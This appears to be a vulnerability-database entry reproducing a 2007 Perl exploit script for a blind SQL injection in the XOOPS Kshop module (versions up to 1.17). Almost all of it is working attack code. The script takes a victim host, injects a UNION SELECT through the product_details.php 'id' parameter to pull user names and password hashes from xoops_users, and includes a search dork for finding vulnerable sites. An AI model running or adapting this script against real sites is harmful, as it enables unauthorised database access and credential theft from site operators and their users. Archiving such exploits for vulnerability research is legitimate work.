Xoops Module Kshop <= 1.17 (id) Remote SQL Injection Exploit

2007-04-02T00:00:00
ID SSV:6548
Type seebug
Reporter Root
Modified 2007-04-02T00:00:00

Description

No description provided by source.

                                        
                                            
                                                #!/usr/bin/perl
#[Script Name: XOOPS Module Kshop <= 1.17 (id) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[Dork       : inurl:/modules/kshop/
#[S.Page     : http://www.kaotik.biz/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print \"
[========================================================================
[//  XOOPS Module Kshop <= 1.17 (id) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
\";
exit();
}
#Local variables
$kapan = \"/*\";
$server = $ARGV[0];
$server =~ s/(http://)//eg;
$host = \"http://\".$server;
$port = \"80\";
$file = \"/modules/kshop/product_details.php?id=\";

print \"Script <DIR> : \";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print \"-- Exploit Failed[You Are Exited] 
\";
exit();
}

if ($dir =~ ///){}
else {
print \"-- Exploit Failed[No DIR] 
\";
exit();
 }

print \"User ID (uid): \";
$id = <STDIN>;
chop ($id);

$target = \"9999999%20union%20select%201,2,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),4,5,6,7,8,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20\".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print \"+**********************************************************************+
\";
print \"+ Trying to connect: $server
\";
$socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \"
+ Connection failed...
\";
print $socket \"GET $target HTTP/1.1
\";
print $socket \"Host: $server
\";
print $socket \"Accept: */*
\";
print $socket \"Connection: close

\";
print \"+ Connected!...
\";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print \"+ Exploit succeed! Getting admin information.
\";
print \"+ ---------------- +
\";
print \"+ Username: $1
\";
}

if ($answer =~ /password:(.*?)</title>/){
print \"+ Password: $1
\";
}

if ($answer =~ /Syntax error/) { 
print \"+ Exploit Failed : ( 
\";
print \"+**********************************************************************+
\";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print \"+ Exploit Failed : (  
\";
print \"+**********************************************************************+
\";
exit(); 
}
 }